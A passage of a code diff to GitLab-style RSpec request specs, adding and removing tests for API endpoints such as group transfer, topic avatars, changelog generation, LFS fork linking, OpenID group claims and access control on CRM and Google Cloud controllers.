+ test_b_job = create(:ci_build, name: 'test-b', stage: test_stage, stage_idx: test_stage.position, pipeline: pipeline)
+ create(:ci_build_need, build: test_b_job, name: 'docker 2 2')
+
+ expect do
+ post_graphql(query, current_user: current_user)
+ end.not_to exceed_all_query_limit(control)
+ end
+ end
+
context 'N+1 queries on stages jobs' do
let(:depth) { 5 }
let(:fields) do
diff --git a/spec/requests/api/graphql/project_query_spec.rb b/spec/requests/api/graphql/project_query_spec.rb
index e44a7efb354..310a8e9fa33 100644
--- a/spec/requests/api/graphql/project_query_spec.rb
+++ b/spec/requests/api/graphql/project_query_spec.rb
@@ -143,6 +143,40 @@ RSpec.describe 'getting project information' do
end
end
+ context 'when the user has guest access' do
+ context 'when the project has public pipelines' do
+ before do
+ pipeline = create(:ci_pipeline, project: project)
+ create(:ci_build, project: project, pipeline: pipeline, name: 'a test job')
+ project.add_guest(current_user)
+ end
+
+ it 'shows all jobs' do
+ query = <<~GQL
+ query {
+ project(fullPath: "#{project.full_path}") {
+ jobs {
+ nodes {
+ name
+ stage {
+ name
+ }
+ }
+ }
+ }
+ }
+ GQL
+
+ post_graphql(query, current_user: current_user)
+
+ expect(graphql_data_at(:project, :jobs, :nodes)).to contain_exactly({
+ 'name' => 'a test job',
+ 'stage' => { 'name' => 'test' }
+ })
+ end
+ end
+ end
+
context 'when the user does not have access to the project' do
it 'returns an empty field' do
post_graphql(query, current_user: current_user)
diff --git a/spec/requests/api/groups_spec.rb b/spec/requests/api/groups_spec.rb
index 75f5a974d22..d226bb07c73 100644
--- a/spec/requests/api/groups_spec.rb
+++ b/spec/requests/api/groups_spec.rb
@@ -174,18 +174,6 @@ RSpec.describe API::Groups do
'Remaining records can be retrieved using keyset pagination.'
)
end
-
- context 'when the feature flag `keyset_pagination_for_groups_api` is disabled' do
- before do
- stub_feature_flags(keyset_pagination_for_groups_api: false)
- end
-
- it 'returns successful response' do
- get api('/groups'), params: { page: 3000, per_page: 25 }
-
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
end
context 'on making requests below the allowed offset pagination threshold' do
@@ -247,24 +235,6 @@ RSpec.describe API::Groups do
expect(records.size).to eq(1)
expect(records.first['id']).to eq(group_2.id)
end
-
- context 'when the feature flag `keyset_pagination_for_groups_api` is disabled' do
- before do
- stub_feature_flags(keyset_pagination_for_groups_api: false)
- end
-
- it 'ignores the keyset pagination params and performs offset pagination' do
- get api('/groups'), params: { pagination: 'keyset', per_page: 1 }
-
- expect(response).to have_gitlab_http_status(:ok)
- records = json_response
- expect(records.size).to eq(1)
- expect(records.first['id']).to eq(group_1.id)
-
- params_for_next_page = params_for_next_page(response)
- expect(params_for_next_page).not_to include('cursor')
- end
- end
end
context 'on making requests with unsupported ordering structure' do
@@ -1973,6 +1943,116 @@ RSpec.describe API::Groups do
end
end
+ describe 'POST /groups/:id/transfer' do
+ let_it_be(:user) { create(:user) }
+ let_it_be_with_reload(:new_parent_group) { create(:group, :private) }
+ let_it_be_with_reload(:group) { create(:group, :nested, :private) }
+
+ before do
+ new_parent_group.add_owner(user)
+ group.add_owner(user)
+ end
+
+ def make_request(user)
+ post api("/groups/#{group.id}/transfer", user), params: params
+ end
+
+ context 'when promoting a subgroup to a root group' do
+ shared_examples_for 'promotes the subgroup to a root group' do
+ it 'returns success' do
+ make_request(user)
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(json_response['parent_id']).to be_nil
+ end
+ end
+
+ context 'when no group_id is specified' do
+ let(:params) {}
+
+ it_behaves_like 'promotes the subgroup to a root group'
+ end
+
+ context 'when group_id is specified as blank' do
+ let(:params) { { group_id: '' } }
+
+ it_behaves_like 'promotes the subgroup to a root group'
+ end
+
+ context 'when the group is already a root group' do
+ let(:group) { create(:group) }
+ let(:params) { { group_id: '' } }
+
+ it 'returns error' do
+ make_request(user)
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['message']).to eq('Transfer failed: Group is already a root group.')
+ end
+ end
+ end
+
+ context 'when transferring a subgroup to a different group' do
+ let(:params) { { group_id: new_parent_group.id } }
+
+ context 'when the user does not have admin rights to the group being transferred' do
+ it 'forbids the operation' do
+ developer_user = create(:user)
+ group.add_developer(developer_user)
+
+ make_request(developer_user)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'when the user does not have access to the new parent group' do
+ it 'fails with 404' do
+ user_without_access_to_new_parent_group = create(:user)
+ group.add_owner(user_without_access_to_new_parent_group)
+
+ make_request(user_without_access_to_new_parent_group)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when the ID of a non-existent group is mentioned as the new parent group' do
+ let(:params) { { group_id: non_existing_record_id } }
+
+ it 'fails with 404' do
+ make_request(user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when the transfer fails due to an error' do
+ before do
+ expect_next_instance_of(::Groups::TransferService) do |service|
+ expect(service).to receive(:proceed_to_transfer).and_raise(Gitlab::UpdatePathError, 'namespace directory cannot be moved')
+ end
+ end
+
+ it 'returns error' do
+ make_request(user)
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['message']).to eq('Transfer failed: namespace directory cannot be moved')
+ end
+ end
+
+ context 'when the transfer succceds' do
+ it 'returns success' do
+ make_request(user)
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(json_response['parent_id']).to eq(new_parent_group.id)
+ end
+ end
+ end
+ end
+
it_behaves_like 'custom attributes endpoints', 'groups' do
let(:attributable) { group1 }
let(:other_attributable) { group2 }
diff --git a/spec/requests/api/import_github_spec.rb b/spec/requests/api/import_github_spec.rb
index d5fed330401..f0c4fcc4f29 100644
--- a/spec/requests/api/import_github_spec.rb
+++ b/spec/requests/api/import_github_spec.rb
@@ -11,12 +11,12 @@ RSpec.describe API::ImportGithub do
let(:user) { create(:user) }
let(:project) { create(:project) }
let(:provider_username) { user.username }
- let(:provider_user) { OpenStruct.new(login: provider_username) }
+ let(:provider_user) { double('provider', login: provider_username) }
let(:provider_repo) do
- OpenStruct.new(
+ double('provider',
name: 'vim',
full_name: "#{provider_username}/vim",
- owner: OpenStruct.new(login: provider_username)
+ owner: double('provider', login: provider_username)
)
end
diff --git a/spec/requests/api/invitations_spec.rb b/spec/requests/api/invitations_spec.rb
index cba4256adc5..702e6ef0a2a 100644
--- a/spec/requests/api/invitations_spec.rb
+++ b/spec/requests/api/invitations_spec.rb
@@ -152,25 +152,7 @@ RSpec.describe API::Invitations do
end
end
- context 'with areas_of_focus', :snowplow do
- it 'tracks the areas_of_focus from params' do
- post invitations_url(source, maintainer),
- params: { email: email, access_level: Member::DEVELOPER, areas_of_focus: 'Other' }
-
- expect_snowplow_event(
- category: 'Members::InviteService',
- action: 'area_of_focus',
- label: 'Other',
- property: source.members.last.id.to_s
- )
- end
- end
-
context 'with tasks_to_be_done and tasks_project_id in the params' do
- before do
- stub_experiments(invite_members_for_task: true)
- end
-
let(:project_id) { source_type == 'project' ? source.id : create(:project, namespace: source).id }
context 'when there is 1 invitation' do
diff --git a/spec/requests/api/issues/get_project_issues_spec.rb b/spec/requests/api/issues/get_project_issues_spec.rb
index 07fa1d40f7b..9948e13e9ae 100644
--- a/spec/requests/api/issues/get_project_issues_spec.rb
+++ b/spec/requests/api/issues/get_project_issues_spec.rb
@@ -873,7 +873,7 @@ RSpec.describe API::Issues do
end
it 'returns 404 if the issue is confidential' do
- post api("/projects/#{project.id}/issues/#{confidential_issue.iid}/participants", non_member)
+ get api("/projects/#{project.id}/issues/#{confidential_issue.iid}/participants", non_member)
expect(response).to have_gitlab_http_status(:not_found)
end
diff --git a/spec/requests/api/labels_spec.rb b/spec/requests/api/labels_spec.rb
index 4b6868f42bc..db9d72245b3 100644
--- a/spec/requests/api/labels_spec.rb
+++ b/spec/requests/api/labels_spec.rb
@@ -589,6 +589,15 @@ RSpec.describe API::Labels do
expect(response).to have_gitlab_http_status(:forbidden)
end
+ it 'returns 403 if reporter promotes label' do
+ reporter = create(:user)
+ project.add_reporter(reporter)
+
+ put api("/projects/#{project.id}/labels/promote", reporter), params: { name: label1.name }
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
it 'returns 404 if label does not exist' do
put api("/projects/#{project.id}/labels/promote", user), params: { name: 'unknown' }
@@ -601,6 +610,13 @@ RSpec.describe API::Labels do
expect(response).to have_gitlab_http_status(:bad_request)
expect(json_response['error']).to eq('name is missing')
end
+
+ it 'returns 400 if project does not have a group' do
+ project = create(:project, creator_id: user.id, namespace: user.namespace)
+ put api("/projects/#{project.id}/labels/promote", user), params: { name: label1.name }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
end
describe "POST /projects/:id/labels/:label_id/subscribe" do
diff --git a/spec/requests/api/markdown_golden_master_spec.rb b/spec/requests/api/markdown_golden_master_spec.rb
new file mode 100644
index 00000000000..4fa946de342
--- /dev/null
+++ b/spec/requests/api/markdown_golden_master_spec.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+# See spec/fixtures/markdown/markdown_golden_master_examples.yml for documentation on how this spec works.
+RSpec.describe API::Markdown, 'Golden Master' do
+ markdown_yml_file_path = File.expand_path('../../fixtures/markdown/markdown_golden_master_examples.yml', __dir__)
+ include_context 'API::Markdown Golden Master shared context', markdown_yml_file_path
+end
diff --git a/spec/requests/api/members_spec.rb b/spec/requests/api/members_spec.rb
index 7f4345faabb..02061bb8ab6 100644
--- a/spec/requests/api/members_spec.rb
+++ b/spec/requests/api/members_spec.rb
@@ -387,38 +387,7 @@ RSpec.describe API::Members do
end
end
- context 'with areas_of_focus considerations', :snowplow do
- let(:user_id) { stranger.id }
-
- context 'when areas_of_focus is present in params' do
- it 'tracks the areas_of_focus' do
- post api("/#{source_type.pluralize}/#{source.id}/members", maintainer),
- params: { user_id: user_id, access_level: Member::DEVELOPER, areas_of_focus: 'Other' }
-
- expect_snowplow_event(
- category: 'Members::CreateService',
- action: 'area_of_focus',
- label: 'Other',
- property: source.members.last.id.to_s
- )
- end
- end
-
- context 'when areas_of_focus is not present in params' do
- it 'does not track the areas_of_focus' do
- post api("/#{source_type.pluralize}/#{source.id}/members", maintainer),
- params: { user_id: user_id, access_level: Member::DEVELOPER }
-
- expect_no_snowplow_event(category: 'Members::CreateService', action: 'area_of_focus')
- end
- end
- end
-
context 'with tasks_to_be_done and tasks_project_id in the params' do
- before do
- stub_experiments(invite_members_for_task: true)
- end
-
let(:project_id) { source_type == 'project' ? source.id : create(:project, namespace: source).id }
context 'when there is 1 user to add' do
diff --git a/spec/requests/api/project_import_spec.rb b/spec/requests/api/project_import_spec.rb
index 097d374640c..3ed08afd57d 100644
--- a/spec/requests/api/project_import_spec.rb
+++ b/spec/requests/api/project_import_spec.rb
@@ -47,7 +47,7 @@ RSpec.describe API::ProjectImport do
it 'executes a limited number of queries' do
control_count = ActiveRecord::QueryRecorder.new { subject }.count
- expect(control_count).to be <= 101
+ expect(control_count).to be <= 104
end
it 'schedules an import using a namespace' do
diff --git a/spec/requests/api/projects_spec.rb b/spec/requests/api/projects_spec.rb
index cc546cbcda1..79dbbd20d83 100644
--- a/spec/requests/api/projects_spec.rb
+++ b/spec/requests/api/projects_spec.rb
@@ -1160,6 +1160,15 @@ RSpec.describe API::Projects do
expect(response).to have_gitlab_http_status(:forbidden)
end
+ it 'allows creating a project without an import_url when git import source is disabled', :aggregate_failures do
+ stub_application_setting(import_sources: nil)
+ project_params = { path: 'path-project-Foo' }
+
+ expect { post api('/projects', user), params: project_params }.to change { Project.count }.by(1)
+
+ expect(response).to have_gitlab_http_status(:created)
+ end
+
it 'disallows creating a project with an import_url that is not reachable', :aggregate_failures do
url = 'http://example.com'
endpoint_url = "#{url}/info/refs?service=git-upload-pack"
@@ -1504,6 +1513,20 @@ RSpec.describe API::Projects do
expect(json_response.map { |project| project['id'] }).to contain_exactly(private_project1.id)
end
+ context 'and using an admin to search', :enable_admin_mode, :aggregate_errors do
+ it 'returns users projects when authenticated as admin' do
+ private_project1 = create(:project, :private, name: 'private_project1', creator_id: user4.id, namespace: user4.namespace)
+
+ # min_access_level does not make any difference when admins search for a user's projects
+ get api("/users/#{user4.id}/projects/", admin), params: { min_access_level: 30 }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response).to be_an Array
+ expect(json_response.map { |project| project['id'] }).to contain_exactly(project4.id, private_project1.id, public_project.id)
+ end
+ end
+
context 'and using the programming language filter' do
include_context 'with language detection'
diff --git a/spec/requests/api/repositories_spec.rb b/spec/requests/api/repositories_spec.rb
index f3146480be2..21a8622e08d 100644
--- a/spec/requests/api/repositories_spec.rb
+++ b/spec/requests/api/repositories_spec.rb
@@ -731,6 +731,71 @@ RSpec.describe API::Repositories do
end
end
+ describe 'GET /projects/:id/repository/changelog' do
+ it 'generates the changelog for a version' do
+ spy = instance_spy(Repositories::ChangelogService)
+ release_notes = 'Release notes'
+
+ allow(Repositories::ChangelogService)
+ .to receive(:new)
+ .with(
+ project,
+ user,
+ version: '1.0.0',
+ from: 'foo',
+ to: 'bar',
+ date: DateTime.new(2020, 1, 1),
+ trailer: 'Foo'
+ )
+ .and_return(spy)
+
+ expect(spy).to receive(:execute).with(commit_to_changelog: false).and_return(release_notes)
+
+ get(
+ api("/projects/#{project.id}/repository/changelog", user),
+ params: {
+ version: '1.0.0',
+ from: 'foo',
+ to: 'bar',
+ date: '2020-01-01',
+ trailer: 'Foo'
+ }
+ )
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['notes']).to eq(release_notes)
+ end
+
+ it 'supports leaving out the from and to attribute' do
+ spy = instance_spy(Repositories::ChangelogService)
+
+ allow(Repositories::ChangelogService)
+ .to receive(:new)
+ .with(
+ project,
+ user,
+ version: '1.0.0',
+ date: DateTime.new(2020, 1, 1),
+ trailer: 'Foo'
+ )
+ .and_return(spy)
+
+ expect(spy).to receive(:execute).with(commit_to_changelog: false)
+
+ get(
+ api("/projects/#{project.id}/repository/changelog", user),
+ params: {
+ version: '1.0.0',
+ date: '2020-01-01',
+ trailer: 'Foo'
+ }
+ )
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['notes']).to be_present
+ end
+ end
+
describe 'POST /projects/:id/repository/changelog' do
it 'generates the changelog for a version' do
spy = instance_spy(Repositories::ChangelogService)
@@ -751,7 +816,7 @@ RSpec.describe API::Repositories do
)
.and_return(spy)
- allow(spy).to receive(:execute)
+ allow(spy).to receive(:execute).with(commit_to_changelog: true)
post(
api("/projects/#{project.id}/repository/changelog", user),
@@ -787,7 +852,7 @@ RSpec.describe API::Repositories do
)
.and_return(spy)
- expect(spy).to receive(:execute)
+ expect(spy).to receive(:execute).with(commit_to_changelog: true)
post(
api("/projects/#{project.id}/repository/changelog", user),
diff --git a/spec/requests/api/search_spec.rb b/spec/requests/api/search_spec.rb
index 8012892a571..b75fe11b06d 100644
--- a/spec/requests/api/search_spec.rb
+++ b/spec/requests/api/search_spec.rb
@@ -122,6 +122,23 @@ RSpec.describe API::Search do
end
end
+ context 'when DB timeouts occur from global searches', :aggregate_errors do
+ %w(
+ issues
+ merge_requests
+ milestones
+ projects
+ snippet_titles
+ users
+ ).each do |scope|
+ it "returns a 408 error if search with scope: #{scope} times out" do
+ allow(SearchService).to receive(:new).and_raise ActiveRecord::QueryCanceled
+ get api(endpoint, user), params: { scope: scope, search: 'awesome' }
+ expect(response).to have_gitlab_http_status(:request_timeout)
+ end
+ end
+ end
+
context 'when scope is not supported' do
it 'returns 400 error' do
get api(endpoint, user), params: { scope: 'unsupported', search: 'awesome' }
diff --git a/spec/requests/api/settings_spec.rb b/spec/requests/api/settings_spec.rb
index 641c6a2cd91..7e940d52a41 100644
--- a/spec/requests/api/settings_spec.rb
+++ b/spec/requests/api/settings_spec.rb
@@ -523,15 +523,6 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting do
end
end
- context "missing spam_check_api_key value when spam_check_endpoint_enabled is true" do
- it "returns a blank parameter error message" do
- put api("/application/settings", admin), params: { spam_check_endpoint_enabled: true, spam_check_endpoint_url: "https://example.com/spam_check" }
-
- expect(response).to have_gitlab_http_status(:bad_request)
- expect(json_response['error']).to eq('spam_check_api_key is missing')
- end
- end
-
context "overly long spam_check_api_key" do
it "fails to update the settings with too long spam_check_api_key" do
put api("/application/settings", admin), params: { spam_check_api_key: "0123456789" * 500 }
diff --git a/spec/requests/api/terraform/state_spec.rb b/spec/requests/api/terraform/state_spec.rb
index 5d2635126e8..24f38b04348 100644
--- a/spec/requests/api/terraform/state_spec.rb
+++ b/spec/requests/api/terraform/state_spec.rb
@@ -152,6 +152,16 @@ RSpec.describe API::Terraform::State do
expect(response).to have_gitlab_http_status(:ok)
expect(Gitlab::Json.parse(response.body)).to be_empty
end
+
+ context 'when serial already exists' do
+ let(:params) { { 'instance': 'example-instance', 'serial': state.latest_version.version } }
+
+ it 'returns unprocessable entity' do
+ request
+
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
+ end
+ end
end
context 'without body' do
diff --git a/spec/requests/api/todos_spec.rb b/spec/requests/api/todos_spec.rb
index c6b4f50afae..0944bfb6ba6 100644
--- a/spec/requests/api/todos_spec.rb
+++ b/spec/requests/api/todos_spec.rb
@@ -380,7 +380,7 @@ RSpec.describe API::Todos do
end
end
- describe 'POST :id/issuable_type/:issueable_id/todo' do
+ describe 'POST :id/issuable_type/:issuable_id/todo' do
context 'for an issue' do
let_it_be(:issuable) do
create(:issue, :confidential, project: project_1)
diff --git a/spec/requests/api/topics_spec.rb b/spec/requests/api/topics_spec.rb
index a5746a4022e..70eee8a1af9 100644
--- a/spec/requests/api/topics_spec.rb
+++ b/spec/requests/api/topics_spec.rb
@@ -5,15 +5,15 @@ require 'spec_helper'
RSpec.describe API::Topics do
include WorkhorseHelpers
- let_it_be(:topic_1) { create(:topic, name: 'Git', total_projects_count: 1) }
+ let_it_be(:file) { fixture_file_upload('spec/fixtures/dk.png') }
+
+ let_it_be(:topic_1) { create(:topic, name: 'Git', total_projects_count: 1, avatar: file) }
let_it_be(:topic_2) { create(:topic, name: 'GitLab', total_projects_count: 2) }
let_it_be(:topic_3) { create(:topic, name: 'other-topic', total_projects_count: 3) }
let_it_be(:admin) { create(:user, :admin) }
let_it_be(:user) { create(:user) }
- let(:file) { fixture_file_upload('spec/fixtures/dk.png') }
-
describe 'GET /topics', :aggregate_failures do
it 'returns topics ordered by total_projects_count' do
get api('/topics')
@@ -184,6 +184,14 @@ RSpec.describe API::Topics do
expect(json_response['avatar_url']).to end_with('dk.png')
end
+ it 'keeps avatar when updating other fields' do
+ put api("/topics/#{topic_1.id}", admin), params: { name: 'my-topic' }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['name']).to eq('my-topic')
+ expect(topic_1.reload.avatar_url).not_to be_nil
+ end
+
it 'returns 404 for non existing id' do
put api("/topics/#{non_existing_record_id}", admin), params: { name: 'my-topic' }
@@ -196,6 +204,32 @@ RSpec.describe API::Topics do
expect(response).to have_gitlab_http_status(:bad_request)
expect(json_response['error']).to eql('id is invalid')
end
+
+ context 'with blank avatar' do
+ it 'removes avatar' do
+ put api("/topics/#{topic_1.id}", admin), params: { avatar: '' }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['avatar_url']).to be_nil
+ expect(topic_3.reload.avatar_url).to be_nil
+ end
+
+ it 'removes avatar besides other changes' do
+ put api("/topics/#{topic_1.id}", admin), params: { name: 'new-topic-name', avatar: '' }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['name']).to eq('new-topic-name')
+ expect(json_response['avatar_url']).to be_nil
+ expect(topic_1.reload.avatar_url).to be_nil
+ end
+
+ it 'does not remove avatar in case of other errors' do
+ put api("/topics/#{topic_1.id}", admin), params: { name: topic_2.name, avatar: '' }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(topic_1.reload.avatar_url).not_to be_nil
+ end
+ end
end
context 'as normal user' do
diff --git a/spec/requests/api/v3/github_spec.rb b/spec/requests/api/v3/github_spec.rb
index 6d8ae226ce4..838948132dd 100644
--- a/spec/requests/api/v3/github_spec.rb
+++ b/spec/requests/api/v3/github_spec.rb
@@ -567,18 +567,6 @@ RSpec.describe API::V3::Github do
expect(response_diff_files(response)).to be_blank
end
- it 'does not handle the error when feature flag is disabled', :aggregate_failures do
- stub_feature_flags(api_v3_commits_skip_diff_files: false)
-
- allow(Gitlab::GitalyClient).to receive(:call)
- .with(*commit_diff_args)
- .and_raise(GRPC::DeadlineExceeded)
-
- call_api
-
- expect(response).to have_gitlab_http_status(:error)
- end
-
it 'only calls Gitaly once for all attempts within a period of time', :aggregate_failures do
expect(Gitlab::GitalyClient).to receive(:call)
.with(*commit_diff_args)
diff --git a/spec/requests/groups/crm/contacts_controller_spec.rb b/spec/requests/groups/crm/contacts_controller_spec.rb
new file mode 100644
index 00000000000..a4b2a28e77a
--- /dev/null
+++ b/spec/requests/groups/crm/contacts_controller_spec.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Groups::Crm::ContactsController do
+ let_it_be(:user) { create(:user) }
+
+ shared_examples 'response with 404 status' do
+ it 'returns 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ shared_examples 'ok response with index template' do
+ it 'renders the index template' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template(:index)
+ end
+ end
+
+ shared_examples 'ok response with index template if authorized' do
+ context 'private group' do
+ let(:group) { create(:group, :private) }
+
+ context 'with authorized user' do
+ before do
+ group.add_reporter(user)
+ sign_in(user)
+ end
+
+ context 'when feature flag is enabled' do
+ it_behaves_like 'ok response with index template'
+ end
+
+ context 'when feature flag is not enabled' do
+ before do
+ stub_feature_flags(customer_relations: false)
+ end
+
+ it_behaves_like 'response with 404 status'
+ end
+ end
+
+ context 'with unauthorized user' do
+ before do
+ sign_in(user)
+ end
+
+ it_behaves_like 'response with 404 status'
+ end
+
+ context 'with anonymous user' do
+ it 'blah' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:found)
+ expect(response).to redirect_to(new_user_session_path)
+ end
+ end
+ end
+
+ context 'public group' do
+ let(:group) { create(:group, :public) }
+
+ context 'with anonymous user' do
+ it_behaves_like 'ok response with index template'
+ end
+ end
+ end
+
+ describe 'GET #index' do
+ subject do
+ get group_crm_contacts_path(group)
+ response
+ end
+
+ it_behaves_like 'ok response with index template if authorized'
+ end
+
+ describe 'GET #new' do
+ subject do
+ get new_group_crm_contact_path(group)
+ response
+ end
+
+ it_behaves_like 'ok response with index template if authorized'
+ end
+
+ describe 'GET #edit' do
+ subject do
+ get edit_group_crm_contact_path(group, id: 1)
+ response
+ end
+
+ it_behaves_like 'ok response with index template if authorized'
+ end
+end
diff --git a/spec/requests/groups/crm/organizations_controller_spec.rb b/spec/requests/groups/crm/organizations_controller_spec.rb
new file mode 100644
index 00000000000..7595950350d
--- /dev/null
+++ b/spec/requests/groups/crm/organizations_controller_spec.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Groups::Crm::OrganizationsController do
+ let_it_be(:user) { create(:user) }
+
+ shared_examples 'response with 404 status' do
+ it 'returns 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ shared_examples 'ok response with index template' do
+ it 'renders the index template' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template(:index)
+ end
+ end
+
+ shared_examples 'ok response with index template if authorized' do
+ context 'private group' do
+ let(:group) { create(:group, :private) }
+
+ context 'with authorized user' do
+ before do
+ group.add_reporter(user)
+ sign_in(user)
+ end
+
+ context 'when feature flag is enabled' do
+ it_behaves_like 'ok response with index template'
+ end
+
+ context 'when feature flag is not enabled' do
+ before do
+ stub_feature_flags(customer_relations: false)
+ end
+
+ it_behaves_like 'response with 404 status'
+ end
+ end
+
+ context 'with unauthorized user' do
+ before do
+ sign_in(user)
+ end
+
+ it_behaves_like 'response with 404 status'
+ end
+
+ context 'with anonymous user' do
+ it 'blah' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:found)
+ expect(response).to redirect_to(new_user_session_path)
+ end
+ end
+ end
+
+ context 'public group' do
+ let(:group) { create(:group, :public) }
+
+ context 'with anonymous user' do
+ it_behaves_like 'ok response with index template'
+ end
+ end
+ end
+
+ describe 'GET #index' do
+ subject do
+ get group_crm_organizations_path(group)
+ response
+ end
+
+ it_behaves_like 'ok response with index template if authorized'
+ end
+
+ describe 'GET #new' do
+ subject do
+ get new_group_crm_organization_path(group)
+ end
+
+ it_behaves_like 'ok response with index template if authorized'
+ end
+end
diff --git a/spec/requests/lfs_http_spec.rb b/spec/requests/lfs_http_spec.rb
index 656ae744ac1..f89395fccaf 100644
--- a/spec/requests/lfs_http_spec.rb
+++ b/spec/requests/lfs_http_spec.rb
@@ -518,13 +518,51 @@ RSpec.describe 'Git LFS API and storage' do
end
context 'in source of fork project' do
+ let(:other_project) { create(:project, :empty_repo) }
let(:project) { fork_project(other_project) }
before do
lfs_object.update!(projects: [other_project])
end
- it_behaves_like 'batch upload with existing LFS object'
+ context 'when user has access to both the parent and fork' do
+ before do
+ project.add_developer(user)
+ other_project.add_developer(user)
+ end
+
+ it 'links existing LFS objects to other project' do
+ expect(Gitlab::AppJsonLogger).to receive(:info).with(
+ message: "LFS object auto-linked to forked project",
+ lfs_object_oid: lfs_object.oid,
+ lfs_object_size: lfs_object.size,
+ source_project_id: other_project.id,
+ source_project_path: other_project.full_path,
+ target_project_id: project.id,
+ target_project_path: project.full_path).and_call_original
+ expect(json_response['objects']).to be_kind_of(Array)
+ expect(json_response['objects'].first).to include(sample_object)
+ expect(json_response['objects'].first).not_to have_key('actions')
+
+ expect(lfs_object.reload.projects.pluck(:id)).to match_array([other_project.id, project.id])
+ end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(lfs_auto_link_fork_source: false)
+ end
+
+ it_behaves_like 'batch upload with existing LFS object'
+ end
+ end
+
+ context 'when user does not have access to parent' do
+ before do
+ project.add_developer(user)
+ end
+
+ it_behaves_like 'batch upload with existing LFS object'
+ end
end
end
diff --git a/spec/requests/openid_connect_spec.rb b/spec/requests/openid_connect_spec.rb
index 5ec23382698..8ee752da44e 100644
--- a/spec/requests/openid_connect_spec.rb
+++ b/spec/requests/openid_connect_spec.rb
@@ -37,7 +37,10 @@ RSpec.describe 'OpenID Connect requests' do
'website' => 'https://example.com',
'profile' => 'http://localhost/alice',
'picture' => "http://localhost/uploads/-/system/user/avatar/#{user.id}/dk.png",
- 'groups' => kind_of(Array)
+ 'groups' => kind_of(Array),
+ 'https://gitlab.org/claims/groups/owner' => kind_of(Array),
+ 'https://gitlab.org/claims/groups/maintainer' => kind_of(Array),
+ 'https://gitlab.org/claims/groups/developer' => kind_of(Array)
}
end
@@ -119,6 +122,7 @@ RSpec.describe 'OpenID Connect requests' do
before do
group1.add_user(user, GroupMember::OWNER)
group3.add_user(user, Gitlab::Access::DEVELOPER)
+ group4.add_user(user, Gitlab::Access::MAINTAINER)
request_user_info!
end
@@ -129,6 +133,10 @@ RSpec.describe 'OpenID Connect requests' do
expected_groups = [group1.full_path, group3.full_path]
expected_groups << group4.full_path
expect(json_response['groups']).to match_array(expected_groups)
+
+ expect(json_response['https://gitlab.org/claims/groups/owner']).to match_array([group1.full_path])
+ expect(json_response['https://gitlab.org/claims/groups/maintainer']).to match_array([group4.full_path])
+ expect(json_response['https://gitlab.org/claims/groups/developer']).to match_array([group3.full_path])
end
it 'does not include any unknown claims' do
diff --git a/spec/requests/projects/google_cloud/service_accounts_controller_spec.rb b/spec/requests/projects/google_cloud/service_accounts_controller_spec.rb
new file mode 100644
index 00000000000..6b4d1c490e2
--- /dev/null
+++ b/spec/requests/projects/google_cloud/service_accounts_controller_spec.rb
@@ -0,0 +1,184 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+# Mock Types
+MockGoogleOAuth2Credentials = Struct.new(:app_id, :app_secret)
+MockServiceAccount = Struct.new(:project_id, :unique_id)
+
+RSpec.describe Projects::GoogleCloud::ServiceAccountsController do
+ let_it_be(:project) { create(:project, :public) }
+
+ describe 'GET index' do
+ let_it_be(:url) { "#{project_google_cloud_service_accounts_path(project)}" }
+
+ let(:user_guest) { create(:user) }
+ let(:user_developer) { create(:user) }
+ let(:user_maintainer) { create(:user) }
+ let(:user_creator) { project.creator }
+
+ let(:unauthorized_members) { [user_guest, user_developer] }
+ let(:authorized_members) { [user_maintainer, user_creator] }
+
+ before do
+ project.add_guest(user_guest)
+ project.add_developer(user_developer)
+ project.add_maintainer(user_maintainer)
+ end
+
+ context 'when a public request is made' do
+ it 'returns not found on GET request' do
+ get url
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ it 'returns not found on POST request' do
+ post url
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when unauthorized members make requests' do
+ it 'returns not found on GET request' do
+ unauthorized_members.each do |unauthorized_member|
+ sign_in(unauthorized_member)
+
+ get url
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ it 'returns not found on POST request' do
+ unauthorized_members.each do |unauthorized_member|
+ sign_in(unauthorized_member)
+
+ post url
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ context 'when authorized members make requests' do
+ it 'redirects on GET request' do
+ authorized_members.each do |authorized_member|
+ sign_in(authorized_member)
+
+ get url
+
+ expect(response).to redirect_to(assigns(:authorize_url))
+ end
+ end
+
